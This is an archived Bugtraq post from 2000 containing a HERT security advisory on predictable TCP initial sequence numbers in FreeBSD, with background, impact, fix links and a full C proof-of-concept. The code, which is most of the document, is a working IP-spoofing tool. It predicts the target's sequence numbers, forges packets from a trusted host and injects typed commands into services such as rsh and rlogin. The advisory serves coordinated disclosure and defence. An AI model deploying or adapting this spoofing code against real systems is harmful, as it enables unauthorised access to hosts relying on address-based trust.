[LWN Logo]
[Timeline]
Date:         Thu, 5 Oct 2000 20:51:49 +0200
From: Pascal Bouchareine <pb@HERT.ORG>
Subject:      HERT advisory: FreeBSD IP Spoofing
To: BUGTRAQ@SECURITYFOCUS.COM

--oyUTqETQ0mS9luUI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

This has just been fixed in FreeBSD current, release, and stable.

--
pub  1024D/98F6C473 2000-08-14 Pascal Bouchareine (kalou) <pb@hert.org>

--oyUTqETQ0mS9luUI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="hert-03.asc"

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


- - ---------------------------------------------------------------
  HERT - Hacker Emergency Response Team
  alert@hert.org - http://hert.org

  Advisory:        #00003
  Title:           FreeBSD IP Spoofing
  Date:            1st October 2000
  Summary:         IP Spoofing Sequence number prediction
  IMPACT:          Remote access via services using IP based auth

  Authors:         Pascal Bouchareine - Kalou <pb@hert.org>
                   Paul Spiby <ps@hert.org>
  Test Exploit:    Pascal Bouchareine Kalou <pb@hert.org>

- - ---------------------------------------------------------------

Copyright (C) 2000 Hacker Emergency Response Team
Copyright (C) 2000 Pascal Bouchareine <pb@hert.org>

Permission is granted to reproduce and distribute HERT advisories in their
entirety, provided credits is awarded to its author and to HERT and
republished with the intent of increasing the awareness of the Internet
community.

This advisory and test code is part of our research and development.
They are not production tools for either attack or defense within an
information warfare setting.  Rather, they are just demonstrating proof
of concept.

The HERT PGP public key is available at ftp://ftp.hert.org/pub/HERT_PGP.key

To subscribe to the HERT Alert mailing list, email alert@hert.org with
subscribe in the body of the message.


1. Vulnerability description

	Weak random() in FreeBSD's TCP stack allows "spoof" [1] attacks.

2. Background

	The way FreeBSD handles random sequence number incrementing is weak.
  With 3 consecutive random increments captured from the responses of 4 SYN
  packets sent to the target, an attacker can rebuild the random state of the
  remote machine.  This information can then be used to predict the next
  random increments the remote machine will make.

3. Distributions known to be affected

	At least FreeBSD 5.x, 4.1-RELEASE, 4.0-RELEASE, 3.5-STABLE.

4. Details

  	The pseudo-random function called is a linear congruent generator [2]
  where the (N+1)th value is calculated from the Nth by :

                x[n + 1] = (7^5 * x[n]) mod (2^31 - 1)

	The random incrementation of the ISS is done by adding :

		122 * 1024 + ((random() >> 14) & 0x3ffff)

	This incrementation is done for each connection request and at
  500ms intervals by the kernel.  Unfortunately, it is likely to be done
  consecutively if an attacker is fast enough.  Then, guessing the remote
  random() state just takes (65535 * 3) tests for the attacker to
  synchronize.  Once done, the attacker may generate the same sequence
  numbers as the remote system does, and successfully achieve a spoof
  attack [1] (see example below).

5. Impact

	Any program that blindly trusts a remote IP address and doesn't
  provide strong (key/challenge) authentication may allow an attacker to
  send arbitrary data to the machine (eg. rcmd family [ rlogind, rshd ],
  some backup software, etc.) while masquerading as a trusted host;
  therefore gaining access to the remote system.

6. Recommendations

	These random number generators are not suited for security
  purposes [2].  You may want to patch /sys/netinet/tcp_seq.h and use
  arc4_random() instead of random() to generate the ISS incrementation.
  This random stream derived from rc4 is strong enough to prevent this
  type of attack, when using at least 32 bytes of switching cells, no less.
  Randomness may be added by using the keyboard, mouse, network "entropy"
  at a short enough frequency (seconds, minutes).

  	Never trust IP addresses in computer applications.  If you have to,
  be sure to use a secured protocol, with strong key exchange, such as ssh.

7. Official fix:

	This advisory has been released in co-ordination with the FreeBSD
  team who have now fixed FreeBSD 5.x (-CURRENT), 4.x and 3.x.
  The patch files can be obtained from the following URLs:

  For 3.x:
  ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch
  ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch.asc

  For 4.x:
  ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch
  ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch.asc

8. Documentation

	[1]
	Bellovin and Robert T. Morris about IP spoofing :

	  ftp://ftp.research.att.com/dist/internet_security/117.ps.Z
	  ftp://ftp.research.att.com/dist/internet_security/ipext.ps.Z

	[2]
	An excellent paper about random and security by Eastlake, Crocker
	& Schiller :

	  ftp://ftp.funet.fi/rfc/rfc1750.txt

9. General Information

  To report a vulnerability: http://www.hert.org/vul_reporting_form

  HERT stands for Hacker Emergency Response Team.

  HERT is a pool of hackers and security consultants from many different
  countries and a launchpad for new computer security projects.

  We focus on research and prevention; not enforcement and repression.

  If you wish to join the HERT effort please send a note to hert@hert.org.

  Contact hert@hert.org for more information.


10. Demonstration code

/* Sample example of remote sequence number prediction.
**
** FreeBSD { 4.1-Rel, 4.0-Rel, 3.5-Stable, ... }
**
** This exploit is part of the research and development effort conducted by
** HERT. It is  not a production tool for either attack or defense
** within an information warfare setting. Rather, it is a small
** program demonstrating proof of concept.
**
** If you are not the intended recipient, or a person responsible for
** delivering it to the intended recipient, you are not authorised to and
** must not disclose, copy, distribute, or retain this message or any
** part of it.  Such unauthorised use may be unlawful.  If you have
** received this transmission in error, please email us immediately at
** hert@hert.org so that we can arrange for its return.
**
**
** Concept:
**
**  1) Attacker sends 4 SYN (with her IP address) and 1 with the spoofed
**     address.
**
**  2) Victim answers with 5 SYN/ACK, *very close in time*
**
**     Attacker calculates the 3 random increments that were given.
**     Since FreeBSD adds randomness to it's ISS two times a second,
**     this is hopefully avoided during this process.
**
**  3) Attacker takes his pocket calculator, calculates a "replay" and
**     guesses the 4th increment. She manually enters the 5th seq at her
**     keyboard, drinks a coffee, and sends a forged ACK with the good
**     seq/ack to victim.
**     She's done.
**
** You still have to find something for the trusted host to shut up.
** This is clearly not the biggest problem.
**
** You may want to adjust precision from 4 SYNs to more or less, regarding
** your ping with target (150ms is good). More is useless until you have
** two possible matches. Less is usefull to have a 1/2 luck rate if you have
** a really bad connection. A 486 dx/33 was used to test this on a 56k modem
** with 4 syns and it was just fine.
**
**                                Pascal Bouchareine [ kalou <pb@hert.org> ]
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#define ISS_INCR	     (122*1024)
#define TCP_RANDOM18(n, lr)  (guess_next(n, lr) >> 14 & 0x3ffff)

#define INTOA(x) inet_ntoa( (struct in_addr) { x } )

#ifdef linux
#define ip_sum ip_csum
#endif

struct spoof {
  unsigned int   myaddr;
  unsigned int   src;
  unsigned int   dst;
  unsigned short sport;
  unsigned short dport;
};

/*
** This simulates freebsd's rand(), and gives the (time)th next random number,
** regarding the previous one (r).
*/

inline unsigned int guess_next(int times, unsigned int r)
{
  register unsigned int myr;
  register int t, hi, lo;
  int i;

  myr = r;
  for (i = 0; i < times; i++) {
    hi = myr / 127773;
    lo = myr % 127773;
    t = 16807 * lo - 2836 * hi;
    if (t <= 0)
      t += 0x7fffffff;
    myr = t;
  }
  return myr;
}

/*
** Calculates the next sequence.
** With 4 seqs, you often have an unique solution. (always ?)
**
*/

inline unsigned int init_iss(unsigned int seq[], int nseq)
{
  unsigned int	        tcp_iss;
  register unsigned int try;
  int                   i, res;

  if (nseq < 2) {
    return -1;
  }

  tcp_iss = seq[nseq - 1];

  for (try = (((seq[1] - seq[0]) << 2) - ISS_INCR) << 14;
     try < (((((seq[1] - seq[0]) << 2) - ISS_INCR) << 14) + 0xffff); try++) {

      for (i = 1, res = 0; i < (nseq - 1); i++) {
	if ( ((ISS_INCR + TCP_RANDOM18(i, try)) >> 2) ==
	        (seq[i + 1] - seq[i]) ) {
	  res++;
	} else {
	  if (res) res--;
	  break;
	}
      }
      if (res)
      {

	/* There, each random increment matched. We assume
	** the last rand is good to compute the next one.
	*/

       tcp_iss  += ( (ISS_INCR + TCP_RANDOM18(i, try)) >> 2 );

       fprintf(stderr, "[init_iss]\t found (precision %d)\n", res);
       fprintf(stderr, "[init_iss]\t last seq ws %u\n", seq[i]);
       fprintf(stderr, "[init_iss]\t next seq is %u\n", tcp_iss);

       return tcp_iss;
     }

  }
  fprintf(stderr, "[init_iss]\t failed to find iss.\n");
  return 0;
}

int raw_sock(int proto)
{
  int true = 1;
  int s;

  s = socket(AF_INET, SOCK_RAW, proto);
  if (s > 0) {
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &true, sizeof(true))) {
      perror("setsockopt");
      return -1;
    }
  } else {
    perror("raw_sock");
    return -1;
  }

  return s;
}

/*
** Well i guess this is ripped from somewhere..
*/

unsigned int host_lookup(char *h)
{
  struct in_addr a;
  struct hostent *he;

  if ( (a.s_addr = inet_addr(h)) == -1 ) {
    if ( (he = gethostbyname(h)) == NULL ) {
      perror("lookup");
      return -1; /* 255.255.255.255... */
    }

    bcopy(he->h_addr, (char *) &a.s_addr, he->h_length);
  }

  return a.s_addr;
}

/* The copy'n pasted one works so well. */

unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }

    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
}

int send_tcp(int  s,
	     unsigned int  src,
	     unsigned int  dst,
	     unsigned char  flg,
	     unsigned short sport,
	     unsigned short dport,
	     unsigned int  seq,
	     unsigned int  ack,
	     char          *data,
	     int            dlen)
{
  unsigned char pkt[1024];
  struct ip  *ip;
  struct tcphdr *tcp;
  struct sockaddr_in sa;

  static int ip_id = 0;
  struct pseudo {
    unsigned int    s;
    unsigned int    d;
    char            n;
    char            p;
    unsigned short  l;
  } pseudo;

  if (!ip_id) {
    ip_id = htons(rand() % getpid());
  }

  ip     = (struct ip *)  pkt;
  tcp    = (struct tcphdr *) (pkt + sizeof(struct ip));

  pseudo.s      = src;
  pseudo.d      = dst;
  pseudo.n      = 0;
  pseudo.p      = IPPROTO_TCP;
  pseudo.l      = htons(sizeof(struct tcphdr) + dlen);

  tcp->th_sport = htons(sport);
  tcp->th_dport = htons(dport);
  tcp->th_seq   = htonl(seq);
  tcp->th_ack   = htonl(ack);
  tcp->th_off   = 5;
  tcp->th_flags = flg;
  tcp->th_win   = htons(16384);
  tcp->th_urp   = 0;
  tcp->th_sum   = 0;

  memmove(((char *) tcp) + sizeof(struct tcphdr),
	 data, dlen);  /* baom. 1024 */

  memmove(((char *) tcp) - sizeof(struct pseudo),
	 (char *) &pseudo, sizeof(struct pseudo));

  tcp->th_sum = in_cksum(((char *) tcp) - sizeof(struct pseudo),
	                 sizeof(struct pseudo) +
			 sizeof(struct tcphdr) + dlen);

  ip->ip_v    = 4;
  ip->ip_hl   = 5;
  ip->ip_tos  = 0;
  ip->ip_len  = htons(sizeof(struct tcphdr) + sizeof(struct ip) + dlen);
  ip->ip_id   = ip_id++;
  ip->ip_off  = htons(0);
  ip->ip_ttl  = 64;
  ip->ip_p    = IPPROTO_TCP;
  ip->ip_sum  = 0;

  ip->ip_src.s_addr = src;
  ip->ip_dst.s_addr = dst;

//  ip->ip_sum  = in_cksum(pkt, sizeof(struct ip)
//			 + sizeof(struct tcphdr) + dlen);

  ip->ip_sum = 0;

  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = dst;
  sa.sin_port = 0;

  if (sendto(s, pkt, sizeof(struct ip) + sizeof(struct tcphdr) + dlen,
	     0, (struct sockaddr *) &sa, sizeof(sa)) < 0) {

    perror("sendto");
    return -1;
  }

  return 0;
}

int get_acks(int s, int n, unsigned int *seq,
	     unsigned int   src_addr,
	     unsigned short src_port)
{
  struct sockaddr_in from;
  int    fromlen;
  char   buf[512];
  int    nr = n;
  int    len;

  struct tcphdr *tcp;
  struct ip     *ip;

  while(nr) {
    fromlen = sizeof(from);
    if (recvfrom(s, buf, 512, 0, (struct sockaddr *) &from, &fromlen) > 0) {

      ip = (struct ip *) buf;

      if (ip->ip_src.s_addr == src_addr) {

	len = ip->ip_hl << 2;
	tcp = (struct tcphdr *) (buf + len);

	if (tcp->th_sport == src_port) {
	  fprintf(stderr, "[get_acks]\t got %lu\n", ntohl(tcp->th_seq));
	  seq[n - nr--] = ntohl(tcp->th_seq);
	}

      }

    } else {
      perror("recvfrom");
      return -1;
    }
  }

  return nr;
}

unsigned int send_init_flow(int s,
		   unsigned int   src,
		   unsigned int   dst,
		   unsigned int   spoofer,
		   unsigned short sport,
		   unsigned short dport,
		   int nseq)
{
  unsigned int seq;
  unsigned int ssport = sport;

  int i, err;

  seq = rand();

  err = 0;

  for (i = 0; i < nseq; i++) {
    err += send_tcp(s, src, dst, TH_SYN, ssport++, dport,
	     seq++, 0, "", 0);
  }

  err += send_tcp(s, spoofer, dst, TH_SYN, sport, dport,
		  seq, 0, "", 0);

  if (err)
    return -1;

  return seq;
}

void spoof_loop(int s,
		unsigned int   src,
		unsigned int   dst,
		unsigned short sport,
		unsigned short dport,
		unsigned int   oseq,
		unsigned int   oack)
{
  char buf[512];
  char *p;
  unsigned int seq = oseq + 1;  /* since remote inc'ed us in syn/ack */
  unsigned int ack = oack + 1;  /* since we must inc remote in ack */
  int  i;

  /* Our syn/ack is on its way.
     Better wait a little. */

  usleep(2800);
  send_tcp(s, src, dst, TH_ACK, sport, dport,
	   seq, ack, "", 0);

  while(read(0, buf, 512)) {
    if ( (p = strchr(buf, '\r')) ||
	 (p = strchr(buf, '\n')) ) {
      *p = '\0';
    }

    fprintf(stderr, "[send]\t %s\n", buf);
    strcat(buf, "\r\n");
    send_tcp(s, src, dst, TH_ACK|TH_PUSH, sport, dport,
	     seq, ack, buf, strlen(buf));

    seq += strlen(buf);
    memset(buf, '\0', sizeof(buf));
  }

  send_tcp(s, src, dst, TH_RST, sport, dport,
           seq, ack, buf, strlen(buf));
}


int spoof(struct spoof s, int p)
{
  int ss, rs;
  unsigned int seqs[4];
  unsigned int seq, ack;

  rs = raw_sock(IPPROTO_TCP);
  ss = raw_sock(IPPROTO_RAW);
  if ((ss < 0) || (rs < 0)) {
    perror("raw socket");
    return -1;
  }

  fprintf(stderr, "[main]\t\t probing %s.\n", INTOA(s.dst));
  fprintf(stderr, "[main]\t\t source  %s.\n", INTOA(s.myaddr));

  seq = send_init_flow(ss, s.myaddr,
		       s.dst, s.src, s.sport, s.dport, p);

  if (seq > 0) {
    fprintf(stderr, "[main]\t\t our seq is %u\n", seq);

    if (get_acks(rs, 4, seqs, s.dst, htons(s.dport)) == 0) {
       ack = init_iss(seqs, 4);
       fprintf(stderr, "[main]\t\t using %u+1/%u+1 as %s.\n", seq, ack,
	       INTOA(s.src));

       if (ack > 0) {
          usleep(2000);
          spoof_loop(ss, s.src,
	             s.dst, s.sport, s.dport, seq, ack);
       } else {
	 return -3;
       }

    } else { /* get_acks */
      return -2;
    }

  } /* seq < 0 */

  return -1;
}

void usage(char *p)
{
  fprintf(stderr, "Usage: %s..\n"
	          "\n\t<-m (my address)>\n"
		  "\t<-s (spoofed host)>\n"
		  "\t<-d (destination)>\n"
		  "\t<-p (dest port)>\n"
		  "\t[-S (source port):rand]\n"
		  "\t[-P precision:4]\n\n", p);
  exit(1);
}

int main(int argc, char **argv)
{
  int          precision;
  unsigned int hostaddr;
  struct spoof s;
  char c;

  srand(getpid());

  s.myaddr = 0;
  s.src    = 0;
  s.dst    = 0;
  s.dport  = 0;
  s.sport  = getpid();

  precision = 4;

  while ((c = getopt(argc, argv, "m:s:d:p:S:P:")) != EOF) {
    switch(c) {
	    case 'm':
	    case 's':
	    case 'd':
	      hostaddr = host_lookup(optarg);

	      if (hostaddr == -1) {
		fprintf(stderr, "%s: unknown host.\n", optarg);
		exit(1);
	      }

	      switch(c) {
		      case 'm':
			s.myaddr = hostaddr;
			break;
		      case 's':
			s.src = hostaddr;
			break;
		      case 'd':
			s.dst = hostaddr;
			break;
	      }

	      break;
	    case 'S':
	      s.sport = atoi(optarg);
	      break;
	    case 'p':
	      s.dport = atoi(optarg);
	      break;
	    case 'P':
	      precision = atoi(optarg);
	      break;
    }
  }

  if ((!s.myaddr) ||
      (!s.src) ||
      (!s.dst) ||
      (!s.dport)) {
    usage(argv[0]);
  }

  return spoof(s, precision);
}
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE5267PUyyzsJj2xHMRAiGNAKCkKGxCmDryGdJbzw+7IqA5qJGUIgCgqFT2
IqFFgcLXGINv3l+K4LBKcU8=
=D5/J
-----END PGP SIGNATURE-----

--oyUTqETQ0mS9luUI--